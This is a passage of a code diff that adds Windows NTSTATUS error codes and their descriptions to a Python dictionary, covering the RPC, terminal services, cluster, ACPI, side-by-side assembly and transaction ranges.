+        0xC0020009: ("RPC_NT_NO_ENDPOINT_FOUND","No endpoint was found."),
+        0xC002000A: ("RPC_NT_INVALID_TIMEOUT","The time-out value is invalid."),
+        0xC002000B: ("RPC_NT_OBJECT_NOT_FOUND","The object UUID was not found."),
+        0xC002000C: ("RPC_NT_ALREADY_REGISTERED","The object UUID has already been registered."),
+        0xC002000D: ("RPC_NT_TYPE_ALREADY_REGISTERED","The type UUID has already been registered."),
+        0xC002000E: ("RPC_NT_ALREADY_LISTENING","The RPC server is already listening."),
+        0xC002000F: ("RPC_NT_NO_PROTSEQS_REGISTERED","No protocol sequences have been registered."),
+        0xC0020010: ("RPC_NT_NOT_LISTENING","The RPC server is not listening."),
+        0xC0020011: ("RPC_NT_UNKNOWN_MGR_TYPE","The manager type is unknown."),
+        0xC0020012: ("RPC_NT_UNKNOWN_IF","The interface is unknown."),
+        0xC0020013: ("RPC_NT_NO_BINDINGS","There are no bindings."),
+        0xC0020014: ("RPC_NT_NO_PROTSEQS","There are no protocol sequences."),
+        0xC0020015: ("RPC_NT_CANT_CREATE_ENDPOINT","The endpoint cannot be created."),
+        0xC0020016: ("RPC_NT_OUT_OF_RESOURCES","Insufficient resources are available to complete this operation."),
+        0xC0020017: ("RPC_NT_SERVER_UNAVAILABLE","The RPC server is unavailable."),
+        0xC0020018: ("RPC_NT_SERVER_TOO_BUSY","The RPC server is too busy to complete this operation."),
+        0xC0020019: ("RPC_NT_INVALID_NETWORK_OPTIONS","The network options are invalid."),
+        0xC002001A: ("RPC_NT_NO_CALL_ACTIVE","No RPCs are active on this thread."),
+        0xC002001B: ("RPC_NT_CALL_FAILED","The RPC failed."),
+        0xC002001C: ("RPC_NT_CALL_FAILED_DNE","The RPC failed and did not execute."),
+        0xC002001D: ("RPC_NT_PROTOCOL_ERROR","An RPC protocol error occurred."),
+        0xC002001F: ("RPC_NT_UNSUPPORTED_TRANS_SYN","The RPC server does not support the transfer syntax."),
+        0xC0020021: ("RPC_NT_UNSUPPORTED_TYPE","The type UUID is not supported."),
+        0xC0020022: ("RPC_NT_INVALID_TAG","The tag is invalid."),
+        0xC0020023: ("RPC_NT_INVALID_BOUND","The array bounds are invalid."),
+        0xC0020024: ("RPC_NT_NO_ENTRY_NAME","The binding does not contain an entry name."),
+        0xC0020025: ("RPC_NT_INVALID_NAME_SYNTAX","The name syntax is invalid."),
+        0xC0020026: ("RPC_NT_UNSUPPORTED_NAME_SYNTAX","The name syntax is not supported."),
+        0xC0020028: ("RPC_NT_UUID_NO_ADDRESS","No network address is available to construct a UUID."),
+        0xC0020029: ("RPC_NT_DUPLICATE_ENDPOINT","The endpoint is a duplicate."),
+        0xC002002A: ("RPC_NT_UNKNOWN_AUTHN_TYPE","The authentication type is unknown."),
+        0xC002002B: ("RPC_NT_MAX_CALLS_TOO_SMALL","The maximum number of calls is too small."),
+        0xC002002C: ("RPC_NT_STRING_TOO_LONG","The string is too long."),
+        0xC002002D: ("RPC_NT_PROTSEQ_NOT_FOUND","The RPC protocol sequence was not found."),
+        0xC002002E: ("RPC_NT_PROCNUM_OUT_OF_RANGE","The procedure number is out of range."),
+        0xC002002F: ("RPC_NT_BINDING_HAS_NO_AUTH","The binding does not contain any authentication information."),
+        0xC0020030: ("RPC_NT_UNKNOWN_AUTHN_SERVICE","The authentication service is unknown."),
+        0xC0020031: ("RPC_NT_UNKNOWN_AUTHN_LEVEL","The authentication level is unknown."),
+        0xC0020032: ("RPC_NT_INVALID_AUTH_IDENTITY","The security context is invalid."),
+        0xC0020033: ("RPC_NT_UNKNOWN_AUTHZ_SERVICE","The authorization service is unknown."),
+        0xC0020034: ("EPT_NT_INVALID_ENTRY","The entry is invalid."),
+        0xC0020035: ("EPT_NT_CANT_PERFORM_OP","The operation cannot be performed."),
+        0xC0020036: ("EPT_NT_NOT_REGISTERED","No more endpoints are available from the endpoint mapper."),
+        0xC0020037: ("RPC_NT_NOTHING_TO_EXPORT","No interfaces have been exported."),
+        0xC0020038: ("RPC_NT_INCOMPLETE_NAME","The entry name is incomplete."),
+        0xC0020039: ("RPC_NT_INVALID_VERS_OPTION","The version option is invalid."),
+        0xC002003A: ("RPC_NT_NO_MORE_MEMBERS","There are no more members."),
+        0xC002003B: ("RPC_NT_NOT_ALL_OBJS_UNEXPORTED","There is nothing to unexport."),
+        0xC002003C: ("RPC_NT_INTERFACE_NOT_FOUND","The interface was not found."),
+        0xC002003D: ("RPC_NT_ENTRY_ALREADY_EXISTS","The entry already exists."),
+        0xC002003E: ("RPC_NT_ENTRY_NOT_FOUND","The entry was not found."),
+        0xC002003F: ("RPC_NT_NAME_SERVICE_UNAVAILABLE","The name service is unavailable."),
+        0xC0020040: ("RPC_NT_INVALID_NAF_ID","The network address family is invalid."),
+        0xC0020041: ("RPC_NT_CANNOT_SUPPORT","The requested operation is not supported."),
+        0xC0020042: ("RPC_NT_NO_CONTEXT_AVAILABLE","No security context is available to allow impersonation."),
+        0xC0020043: ("RPC_NT_INTERNAL_ERROR","An internal error occurred in the RPC."),
+        0xC0020044: ("RPC_NT_ZERO_DIVIDE","The RPC server attempted to divide an integer by zero."),
+        0xC0020045: ("RPC_NT_ADDRESS_ERROR","An addressing error occurred in the RPC server."),
+        0xC0020046: ("RPC_NT_FP_DIV_ZERO","A floating point operation at the RPC server caused a divide by zero."),
+        0xC0020047: ("RPC_NT_FP_UNDERFLOW","A floating point underflow occurred at the RPC server."),
+        0xC0020048: ("RPC_NT_FP_OVERFLOW","A floating point overflow occurred at the RPC server."),
+        0xC0020049: ("RPC_NT_CALL_IN_PROGRESS","An RPC is already in progress for this thread."),
+        0xC002004A: ("RPC_NT_NO_MORE_BINDINGS","There are no more bindings."),
+        0xC002004B: ("RPC_NT_GROUP_MEMBER_NOT_FOUND","The group member was not found."),
+        0xC002004C: ("EPT_NT_CANT_CREATE","The endpoint mapper database entry could not be created."),
+        0xC002004D: ("RPC_NT_INVALID_OBJECT","The object UUID is the nil UUID."),
+        0xC002004F: ("RPC_NT_NO_INTERFACES","No interfaces have been registered."),
+        0xC0020050: ("RPC_NT_CALL_CANCELLED","The RPC was canceled."),
+        0xC0020051: ("RPC_NT_BINDING_INCOMPLETE","The binding handle does not contain all the required information."),
+        0xC0020052: ("RPC_NT_COMM_FAILURE","A communications failure occurred during an RPC."),
+        0xC0020053: ("RPC_NT_UNSUPPORTED_AUTHN_LEVEL","The requested authentication level is not supported."),
+        0xC0020054: ("RPC_NT_NO_PRINC_NAME","No principal name was registered."),
+        0xC0020055: ("RPC_NT_NOT_RPC_ERROR","The error specified is not a valid Windows RPC error code."),
+        0xC0020057: ("RPC_NT_SEC_PKG_ERROR","A security package-specific error occurred."),
+        0xC0020058: ("RPC_NT_NOT_CANCELLED","The thread was not canceled."),
+        0xC0020062: ("RPC_NT_INVALID_ASYNC_HANDLE","Invalid asynchronous RPC handle."),
+        0xC0020063: ("RPC_NT_INVALID_ASYNC_CALL","Invalid asynchronous RPC call handle for this operation."),
+        0xC0020064: ("RPC_NT_PROXY_ACCESS_DENIED","Access to the HTTP proxy is denied."),
+        0xC0021007: ("RPC_P_RECEIVE_ALERTED","No description"),
+        0xC0021008: ("RPC_P_CONNECTION_CLOSED","No description"),
+        0xC0021009: ("RPC_P_RECEIVE_FAILED","No description"),
+        0xC002100A: ("RPC_P_SEND_FAILED","No description"),
+        0xC002100B: ("RPC_P_TIMEOUT","No description"),
+        0xC002100C: ("RPC_P_SERVER_TRANSPORT_ERROR","No description"),
+        0xC002100E: ("RPC_P_EXCEPTION_OCCURED","No description"),
+        0xC0021012: ("RPC_P_CONNECTION_SHUTDOWN","No description"),
+        0xC0021015: ("RPC_P_THREAD_LISTENING","No description"),
+        0xC0030001: ("RPC_NT_NO_MORE_ENTRIES","The list of RPC servers available for auto-handle binding has been exhausted."),
+        0xC0030002: ("RPC_NT_SS_CHAR_TRANS_OPEN_FAIL","The file designated by DCERPCCHARTRANS cannot be opened."),
+        0xC0030003: ("RPC_NT_SS_CHAR_TRANS_SHORT_FILE","The file containing the character translation table has fewer than 512 bytes."),
+        0xC0030004: ("RPC_NT_SS_IN_NULL_CONTEXT","A null context handle is passed as an [in] parameter."),
+        0xC0030005: ("RPC_NT_SS_CONTEXT_MISMATCH","The context handle does not match any known context handles."),
+        0xC0030006: ("RPC_NT_SS_CONTEXT_DAMAGED","The context handle changed during a call."),
+        0xC0030007: ("RPC_NT_SS_HANDLES_MISMATCH","The binding handles passed to an RPC do not match."),
+        0xC0030008: ("RPC_NT_SS_CANNOT_GET_CALL_HANDLE","The stub is unable to get the call handle."),
+        0xC0030009: ("RPC_NT_NULL_REF_POINTER","A null reference pointer was passed to the stub."),
+        0xC003000A: ("RPC_NT_ENUM_VALUE_OUT_OF_RANGE","The enumeration value is out of range."),
+        0xC003000B: ("RPC_NT_BYTE_COUNT_TOO_SMALL","The byte count is too small."),
+        0xC003000C: ("RPC_NT_BAD_STUB_DATA","The stub received bad data."),
+        0xC0030059: ("RPC_NT_INVALID_ES_ACTION","Invalid operation on the encoding/decoding handle."),
+        0xC003005A: ("RPC_NT_WRONG_ES_VERSION","Incompatible version of the serializing package."),
+        0xC003005B: ("RPC_NT_WRONG_STUB_VERSION","Incompatible version of the RPC stub."),
+        0xC003005C: ("RPC_NT_INVALID_PIPE_OBJECT","The RPC pipe object is invalid or corrupt."),
+        0xC003005D: ("RPC_NT_INVALID_PIPE_OPERATION","An invalid operation was attempted on an RPC pipe object."),
+        0xC003005E: ("RPC_NT_WRONG_PIPE_VERSION","Unsupported RPC pipe version."),
+        0xC003005F: ("RPC_NT_PIPE_CLOSED","The RPC pipe object has already been closed."),
+        0xC0030060: ("RPC_NT_PIPE_DISCIPLINE_ERROR","The RPC call completed before all pipes were processed."),
+        0xC0030061: ("RPC_NT_PIPE_EMPTY","No more data is available from the RPC pipe."),
+        0xC0040035: ("STATUS_PNP_BAD_MPS_TABLE","A device is missing in the system BIOS MPS table. This device will not be used. Contact your system vendor for a system BIOS update."),
+        0xC0040036: ("STATUS_PNP_TRANSLATION_FAILED","A translator failed to translate resources."),
+        0xC0040037: ("STATUS_PNP_IRQ_TRANSLATION_FAILED","An IRQ translator failed to translate resources."),
+        0xC0040038: ("STATUS_PNP_INVALID_ID","Driver %2 returned an invalid ID for a child device (%3)."),
+        0xC0040039: ("STATUS_IO_REISSUE_AS_CACHED","Reissue the given operation as a cached I/O operation"),
+        0xC00A0001: ("STATUS_CTX_WINSTATION_NAME_INVALID","Session name %1 is invalid."),
+        0xC00A0002: ("STATUS_CTX_INVALID_PD","The protocol driver %1 is invalid."),
+        0xC00A0003: ("STATUS_CTX_PD_NOT_FOUND","The protocol driver %1 was not found in the system path."),
+        0xC00A0006: ("STATUS_CTX_CLOSE_PENDING","A close operation is pending on the terminal connection."),
+        0xC00A0007: ("STATUS_CTX_NO_OUTBUF","No free output buffers are available."),
+        0xC00A0008: ("STATUS_CTX_MODEM_INF_NOT_FOUND","The MODEM.INF file was not found."),
+        0xC00A0009: ("STATUS_CTX_INVALID_MODEMNAME","The modem (%1) was not found in the MODEM.INF file."),
+        0xC00A000A: ("STATUS_CTX_RESPONSE_ERROR","The modem did not accept the command sent to it. Verify that the configured modem name matches the attached modem."),
+        0xC00A000B: ("STATUS_CTX_MODEM_RESPONSE_TIMEOUT","The modem did not respond to the command sent to it. Verify that the modem cable is properly attached and the modem is turned on."),
+        0xC00A000C: ("STATUS_CTX_MODEM_RESPONSE_NO_CARRIER","Carrier detection has failed or the carrier has been dropped due to disconnection."),
+        0xC00A000D: ("STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE","A dial tone was not detected within the required time. Verify that the phone cable is properly attached and functional."),
+        0xC00A000E: ("STATUS_CTX_MODEM_RESPONSE_BUSY","A busy signal was detected at a remote site on callback."),
+        0xC00A000F: ("STATUS_CTX_MODEM_RESPONSE_VOICE","A voice was detected at a remote site on callback."),
+        0xC00A0010: ("STATUS_CTX_TD_ERROR","Transport driver error."),
+        0xC00A0012: ("STATUS_CTX_LICENSE_CLIENT_INVALID","The client you are using is not licensed to use this system. Your logon request is denied."),
+        0xC00A0013: ("STATUS_CTX_LICENSE_NOT_AVAILABLE","The system has reached its licensed logon limit. Try again later."),
+        0xC00A0014: ("STATUS_CTX_LICENSE_EXPIRED","The system license has expired. Your logon request is denied."),
+        0xC00A0015: ("STATUS_CTX_WINSTATION_NOT_FOUND","The specified session cannot be found."),
+        0xC00A0016: ("STATUS_CTX_WINSTATION_NAME_COLLISION","The specified session name is already in use."),
+        0xC00A0017: ("STATUS_CTX_WINSTATION_BUSY","The requested operation cannot be completed because the terminal connection is currently processing a connect, disconnect, reset, or delete operation."),
+        0xC00A0018: ("STATUS_CTX_BAD_VIDEO_MODE","An attempt has been made to connect to a session whose video mode is not supported by the current client."),
+        0xC00A0022: ("STATUS_CTX_GRAPHICS_INVALID","The application attempted to enable DOS graphics mode. DOS graphics mode is not supported."),
+        0xC00A0024: ("STATUS_CTX_NOT_CONSOLE","The requested operation can be performed only on the system console. This is most often the result of a driver or system DLL requiring direct console access."),
+        0xC00A0026: ("STATUS_CTX_CLIENT_QUERY_TIMEOUT","The client failed to respond to the server connect message."),
+        0xC00A0027: ("STATUS_CTX_CONSOLE_DISCONNECT","Disconnecting the console session is not supported."),
+        0xC00A0028: ("STATUS_CTX_CONSOLE_CONNECT","Reconnecting a disconnected session to the console is not supported."),
+        0xC00A002A: ("STATUS_CTX_SHADOW_DENIED","The request to control another session remotely was denied."),
+        0xC00A002B: ("STATUS_CTX_WINSTATION_ACCESS_DENIED","A process has requested access to a session, but has not been granted those access rights."),
+        0xC00A002E: ("STATUS_CTX_INVALID_WD","The terminal connection driver %1 is invalid."),
+        0xC00A002F: ("STATUS_CTX_WD_NOT_FOUND","The terminal connection driver %1 was not found in the system path."),
+        0xC00A0030: ("STATUS_CTX_SHADOW_INVALID","The requested session cannot be controlled remotely. You cannot control your own session, a session that is trying to control your session, a session that has no user logged on, or other sessions from the console."),
+        0xC00A0031: ("STATUS_CTX_SHADOW_DISABLED","The requested session is not configured to allow remote control."),
+        0xC00A0032: ("STATUS_RDP_PROTOCOL_ERROR","The RDP protocol component %2 detected an error in the protocol stream and has disconnected the client."),
+        0xC00A0033: ("STATUS_CTX_CLIENT_LICENSE_NOT_SET","Your request to connect to this terminal server has been rejected. Your terminal server client license number has not been entered for this copy of the terminal client. Contact your system administrator for help in entering a valid, unique license number for this terminal server client. Click OK to continue."),
+        0xC00A0034: ("STATUS_CTX_CLIENT_LICENSE_IN_USE","Your request to connect to this terminal server has been rejected. Your terminal server client license number is currently being used by another user. Contact your system administrator to obtain a new copy of the terminal server client with a valid, unique license number. Click OK to continue."),
+        0xC00A0035: ("STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE","The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported."),
+        0xC00A0036: ("STATUS_CTX_SHADOW_NOT_RUNNING","Remote control could not be terminated because the specified session is not currently being remotely controlled."),
+        0xC00A0037: ("STATUS_CTX_LOGON_DISABLED","Your interactive logon privilege has been disabled. Contact your system administrator."),
+        0xC00A0038: ("STATUS_CTX_SECURITY_LAYER_ERROR","The terminal server security layer detected an error in the protocol stream and has disconnected the client."),
+        0xC00A0039: ("STATUS_TS_INCOMPATIBLE_SESSIONS","The target session is incompatible with the current session."),
+        0xC00B0001: ("STATUS_MUI_FILE_NOT_FOUND","The resource loader failed to find an MUI file."),
+        0xC00B0002: ("STATUS_MUI_INVALID_FILE","The resource loader failed to load an MUI file because the file failed to pass validation."),
+        0xC00B0003: ("STATUS_MUI_INVALID_RC_CONFIG","The RC manifest is corrupted with garbage data, is an unsupported version, or is missing a required item."),
+        0xC00B0004: ("STATUS_MUI_INVALID_LOCALE_NAME","The RC manifest has an invalid culture name."),
+        0xC00B0005: ("STATUS_MUI_INVALID_ULTIMATEFALLBACK_NAME","The RC manifest has and invalid ultimate fallback name."),
+        0xC00B0006: ("STATUS_MUI_FILE_NOT_LOADED","The resource loader cache does not have a loaded MUI entry."),
+        0xC00B0007: ("STATUS_RESOURCE_ENUM_USER_STOP","The user stopped resource enumeration."),
+        0xC0130001: ("STATUS_CLUSTER_INVALID_NODE","The cluster node is not valid."),
+        0xC0130002: ("STATUS_CLUSTER_NODE_EXISTS","The cluster node already exists."),
+        0xC0130003: ("STATUS_CLUSTER_JOIN_IN_PROGRESS","A node is in the process of joining the cluster."),
+        0xC0130004: ("STATUS_CLUSTER_NODE_NOT_FOUND","The cluster node was not found."),
+        0xC0130005: ("STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND","The cluster local node information was not found."),
+        0xC0130006: ("STATUS_CLUSTER_NETWORK_EXISTS","The cluster network already exists."),
+        0xC0130007: ("STATUS_CLUSTER_NETWORK_NOT_FOUND","The cluster network was not found."),
+        0xC0130008: ("STATUS_CLUSTER_NETINTERFACE_EXISTS","The cluster network interface already exists."),
+        0xC0130009: ("STATUS_CLUSTER_NETINTERFACE_NOT_FOUND","The cluster network interface was not found."),
+        0xC013000A: ("STATUS_CLUSTER_INVALID_REQUEST","The cluster request is not valid for this object."),
+        0xC013000B: ("STATUS_CLUSTER_INVALID_NETWORK_PROVIDER","The cluster network provider is not valid."),
+        0xC013000C: ("STATUS_CLUSTER_NODE_DOWN","The cluster node is down."),
+        0xC013000D: ("STATUS_CLUSTER_NODE_UNREACHABLE","The cluster node is not reachable."),
+        0xC013000E: ("STATUS_CLUSTER_NODE_NOT_MEMBER","The cluster node is not a member of the cluster."),
+        0xC013000F: ("STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS","A cluster join operation is not in progress."),
+        0xC0130010: ("STATUS_CLUSTER_INVALID_NETWORK","The cluster network is not valid."),
+        0xC0130011: ("STATUS_CLUSTER_NO_NET_ADAPTERS","No network adapters are available."),
+        0xC0130012: ("STATUS_CLUSTER_NODE_UP","The cluster node is up."),
+        0xC0130013: ("STATUS_CLUSTER_NODE_PAUSED","The cluster node is paused."),
+        0xC0130014: ("STATUS_CLUSTER_NODE_NOT_PAUSED","The cluster node is not paused."),
+        0xC0130015: ("STATUS_CLUSTER_NO_SECURITY_CONTEXT","No cluster security context is available."),
+        0xC0130016: ("STATUS_CLUSTER_NETWORK_NOT_INTERNAL","The cluster network is not configured for internal cluster communication."),
+        0xC0130017: ("STATUS_CLUSTER_POISONED","The cluster node has been poisoned."),
+        0xC0140001: ("STATUS_ACPI_INVALID_OPCODE","An attempt was made to run an invalid AML opcode."),
+        0xC0140002: ("STATUS_ACPI_STACK_OVERFLOW","The AML interpreter stack has overflowed."),
+        0xC0140003: ("STATUS_ACPI_ASSERT_FAILED","An inconsistent state has occurred."),
+        0xC0140004: ("STATUS_ACPI_INVALID_INDEX","An attempt was made to access an array outside its bounds."),
+        0xC0140005: ("STATUS_ACPI_INVALID_ARGUMENT","A required argument was not specified."),
+        0xC0140006: ("STATUS_ACPI_FATAL","A fatal error has occurred."),
+        0xC0140007: ("STATUS_ACPI_INVALID_SUPERNAME","An invalid SuperName was specified."),
+        0xC0140008: ("STATUS_ACPI_INVALID_ARGTYPE","An argument with an incorrect type was specified."),
+        0xC0140009: ("STATUS_ACPI_INVALID_OBJTYPE","An object with an incorrect type was specified."),
+        0xC014000A: ("STATUS_ACPI_INVALID_TARGETTYPE","A target with an incorrect type was specified."),
+        0xC014000B: ("STATUS_ACPI_INCORRECT_ARGUMENT_COUNT","An incorrect number of arguments was specified."),
+        0xC014000C: ("STATUS_ACPI_ADDRESS_NOT_MAPPED","An address failed to translate."),
+        0xC014000D: ("STATUS_ACPI_INVALID_EVENTTYPE","An incorrect event type was specified."),
+        0xC014000E: ("STATUS_ACPI_HANDLER_COLLISION","A handler for the target already exists."),
+        0xC014000F: ("STATUS_ACPI_INVALID_DATA","Invalid data for the target was specified."),
+        0xC0140010: ("STATUS_ACPI_INVALID_REGION","An invalid region for the target was specified."),
+        0xC0140011: ("STATUS_ACPI_INVALID_ACCESS_SIZE","An attempt was made to access a field outside the defined range."),
+        0xC0140012: ("STATUS_ACPI_ACQUIRE_GLOBAL_LOCK","The global system lock could not be acquired."),
+        0xC0140013: ("STATUS_ACPI_ALREADY_INITIALIZED","An attempt was made to reinitialize the ACPI subsystem."),
+        0xC0140014: ("STATUS_ACPI_NOT_INITIALIZED","The ACPI subsystem has not been initialized."),
+        0xC0140015: ("STATUS_ACPI_INVALID_MUTEX_LEVEL","An incorrect mutex was specified."),
+        0xC0140016: ("STATUS_ACPI_MUTEX_NOT_OWNED","The mutex is not currently owned."),
+        0xC0140017: ("STATUS_ACPI_MUTEX_NOT_OWNER","An attempt was made to access the mutex by a process that was not the owner."),
+        0xC0140018: ("STATUS_ACPI_RS_ACCESS","An error occurred during an access to region space."),
+        0xC0140019: ("STATUS_ACPI_INVALID_TABLE","An attempt was made to use an incorrect table."),
+        0xC0140020: ("STATUS_ACPI_REG_HANDLER_FAILED","The registration of an ACPI event failed."),
+        0xC0140021: ("STATUS_ACPI_POWER_REQUEST_FAILED","An ACPI power object failed to transition state."),
+        0xC0150001: ("STATUS_SXS_SECTION_NOT_FOUND","The requested section is not present in the activation context."),
+        0xC0150002: ("STATUS_SXS_CANT_GEN_ACTCTX","Windows was unble to process the application binding information. Refer to the system event log for further information."),
+        0xC0150003: ("STATUS_SXS_INVALID_ACTCTXDATA_FORMAT","The application binding data format is invalid."),
+        0xC0150004: ("STATUS_SXS_ASSEMBLY_NOT_FOUND","The referenced assembly is not installed on the system."),
+        0xC0150005: ("STATUS_SXS_MANIFEST_FORMAT_ERROR","The manifest file does not begin with the required tag and format information."),
+        0xC0150006: ("STATUS_SXS_MANIFEST_PARSE_ERROR","The manifest file contains one or more syntax errors."),
+        0xC0150007: ("STATUS_SXS_ACTIVATION_CONTEXT_DISABLED","The application attempted to activate a disabled activation context."),
+        0xC0150008: ("STATUS_SXS_KEY_NOT_FOUND","The requested lookup key was not found in any active activation context."),
+        0xC0150009: ("STATUS_SXS_VERSION_CONFLICT","A component version required by the application conflicts with another component version that is already active."),
+        0xC015000A: ("STATUS_SXS_WRONG_SECTION_TYPE","The type requested activation context section does not match the query API used."),
+        0xC015000B: ("STATUS_SXS_THREAD_QUERIES_DISABLED","Lack of system resources has required isolated activation to be disabled for the current thread of execution."),
+        0xC015000C: ("STATUS_SXS_ASSEMBLY_MISSING","The referenced assembly could not be found."),
+        0xC015000E: ("STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET","An attempt to set the process default activation context failed because the process default activation context was already set."),
+        0xC015000F: ("STATUS_SXS_EARLY_DEACTIVATION","The activation context being deactivated is not the most recently activated one."),
+        0xC0150010: ("STATUS_SXS_INVALID_DEACTIVATION","The activation context being deactivated is not active for the current thread of execution."),
+        0xC0150011: ("STATUS_SXS_MULTIPLE_DEACTIVATION","The activation context being deactivated has already been deactivated."),
+        0xC0150012: ("STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY","The activation context of the system default assembly could not be generated."),
+        0xC0150013: ("STATUS_SXS_PROCESS_TERMINATION_REQUESTED","A component used by the isolation facility has requested that the process be terminated."),
+        0xC0150014: ("STATUS_SXS_CORRUPT_ACTIVATION_STACK","The activation context activation stack for the running thread of execution is corrupt."),
+        0xC0150015: ("STATUS_SXS_CORRUPTION","The application isolation metadata for this process or thread has become corrupt."),
+        0xC0150016: ("STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE","The value of an attribute in an identity is not within the legal range."),
+        0xC0150017: ("STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME","The name of an attribute in an identity is not within the legal range."),
+        0xC0150018: ("STATUS_SXS_IDENTITY_DUPLICATE_ATTRIBUTE","An identity contains two definitions for the same attribute."),
+        0xC0150019: ("STATUS_SXS_IDENTITY_PARSE_ERROR","The identity string is malformed. This may be due to a trailing comma, more than two unnamed attributes, a missing attribute name, or a missing attribute value."),
+        0xC015001A: ("STATUS_SXS_COMPONENT_STORE_CORRUPT","The component store has become corrupted."),
+        0xC015001B: ("STATUS_SXS_FILE_HASH_MISMATCH","A component's file does not match the verification information present in the component manifest."),
+        0xC015001C: ("STATUS_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT","The identities of the manifests are identical, but their contents are different."),
+        0xC015001D: ("STATUS_SXS_IDENTITIES_DIFFERENT","The component identities are different."),
+        0xC015001E: ("STATUS_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT","The assembly is not a deployment."),
+        0xC015001F: ("STATUS_SXS_FILE_NOT_PART_OF_ASSEMBLY","The file is not a part of the assembly."),
+        0xC0150020: ("STATUS_ADVANCED_INSTALLER_FAILED","An advanced installer failed during setup or servicing."),
+        0xC0150021: ("STATUS_XML_ENCODING_MISMATCH","The character encoding in the XML declaration did not match the encoding used in the document."),
+        0xC0150022: ("STATUS_SXS_MANIFEST_TOO_BIG","The size of the manifest exceeds the maximum allowed."),
+        0xC0150023: ("STATUS_SXS_SETTING_NOT_REGISTERED","The setting is not registered."),
+        0xC0150024: ("STATUS_SXS_TRANSACTION_CLOSURE_INCOMPLETE","One or more required transaction members are not present."),
+        0xC0150025: ("STATUS_SMI_PRIMITIVE_INSTALLER_FAILED","The SMI primitive installer failed during setup or servicing."),
+        0xC0150026: ("STATUS_GENERIC_COMMAND_FAILED","A generic command executable returned a result that indicates failure."),
+        0xC0150027: ("STATUS_SXS_FILE_HASH_MISSING","A component is missing file verification information in its manifest."),
+        0xC0190001: ("STATUS_TRANSACTIONAL_CONFLICT","The function attempted to use a name that is reserved for use by another transaction."),
+        0xC0190002: ("STATUS_INVALID_TRANSACTION","The transaction handle associated with this operation is invalid."),
+        0xC0190003: ("STATUS_TRANSACTION_NOT_ACTIVE","The requested operation was made in the context of a transaction that is no longer active."),
+        0xC0190004: ("STATUS_TM_INITIALIZATION_FAILED","The transaction manager was unable to be successfully initialized. Transacted operations are not supported."),
+        0xC0190005: ("STATUS_RM_NOT_ACTIVE","Transaction support within the specified file system resource manager was not started or was shut down due to an error."),
+        0xC0190006: ("STATUS_RM_METADATA_CORRUPT","The metadata of the resource manager has been corrupted. The resource manager will not function."),
+        0xC0190007: ("STATUS_TRANSACTION_NOT_JOINED","The resource manager attempted to prepare a transaction that it has not successfully joined."),
+        0xC0190008: ("STATUS_DIRECTORY_NOT_RM","The specified directory does not contain a file system resource manager."),
+        0xC019000A: ("STATUS_TRANSACTIONS_UNSUPPORTED_REMOTE","The remote server or share does not support transacted file operations."),
+        0xC019000B: ("STATUS_LOG_RESIZE_INVALID_SIZE","The requested log size for the file system resource manager is invalid."),
+        0xC019000C: ("STATUS_REMOTE_FILE_VERSION_MISMATCH","The remote server sent mismatching version number or Fid for a file opened with transactions."),
+        0xC019000F: ("STATUS_CRM_PROTOCOL_ALREADY_EXISTS","The resource manager tried to register a protocol that already exists."),
+        0xC0190010: ("STATUS_TRANSACTION_PROPAGATION_FAILED","The attempt to propagate the transaction failed."),
+        0xC0190011: ("STATUS_CRM_PROTOCOL_NOT_FOUND","The requested propagation protocol was not registered as a CRM."),
+        0xC0190012: ("STATUS_TRANSACTION_SUPERIOR_EXISTS","The transaction object already has a superior enlistment, and the caller attempted an operation that would have created a new superior. Only a single superior enlistment is allowed."),
+        0xC0190013: ("STATUS_TRANSACTION_REQUEST_NOT_VALID","The requested operation is not valid on the transaction object in its current state."),
+        0xC0190014: ("STATUS_TRANSACTION_NOT_REQUESTED","The caller has called a response API, but the response is not expected because the transaction manager did not issue the corresponding request to the caller."),
+        0xC0190015: ("STATUS_TRANSACTION_ALREADY_ABORTED","It is too late to perform the requested operation, because the transaction has already been aborted."),
+        0xC0190016: ("STATUS_TRANSACTION_ALREADY_COMMITTED","It is too late to perform the requested operation, because the transaction has already been committed."),
+        0xC0190017: ("STATUS_TRANSACTION_INVALID_MARSHALL_BUFFER","The buffer passed in to NtPushTransaction or NtPullTransaction is not in a valid format."),
+        0xC0190018: ("STATUS_CURRENT_TRANSACTION_NOT_VALID","The current transaction context associated with the thread is not a valid handle to a transaction object."),
+        0xC0190019: ("STATUS_LOG_GROWTH_FAILED","An attempt to create space in the transactional resource manager's log failed. The failure status has been recorded in the event log."),
+        0xC0190021: ("STATUS_OBJECT_NO_LONGER_EXISTS","The object (file, stream, or link) that corresponds to the handle has been deleted by a transaction savepoint rollback."),
+        0xC0190022: ("STATUS_STREAM_MINIVERSION_NOT_FOUND","The specified file miniversion was not found for this transacted file open."),
+        0xC0190023: ("STATUS_STREAM_MINIVERSION_NOT_VALID","The specified file miniversion was found but has been invalidated. The most likely cause is a transaction savepoint rollback."),
+        0xC0190024: ("STATUS_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION","A miniversion may be opened only in the context of the transaction that created it."),
+        0xC0190025: ("STATUS_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT","It is not possible to open a miniversion with modify access."),
+        0xC0190026: ("STATUS_CANT_CREATE_MORE_STREAM_MINIVERSIONS","It is not possible to create any more miniversions for this stream."),
+        0xC0190028: ("STATUS_HANDLE_NO_LONGER_VALID","The handle has been invalidated by a transaction. The most likely cause is the presence of memory mapping on a file or an open handle when the transaction ended or rolled back to savepoint."),
+        0xC0190030: ("STATUS_LOG_CORRUPTION_DETECTED","The log data is corrupt."),
+        0xC0190032: ("STATUS_RM_DISCONNECTED","The transaction outcome is unavailable because the resource manager responsible for it is disconnected."),
+        0xC0190033: ("STATUS_ENLISTMENT_NOT_SUPERIOR","The request was rejected because the enlistment in question is not a superior enlistment."),
+        0xC0190036: ("STATUS_FILE_IDENTITY_NOT_PERSISTENT","The file cannot be opened in a transaction because its identity depends on the outcome of an unresolved transaction."),
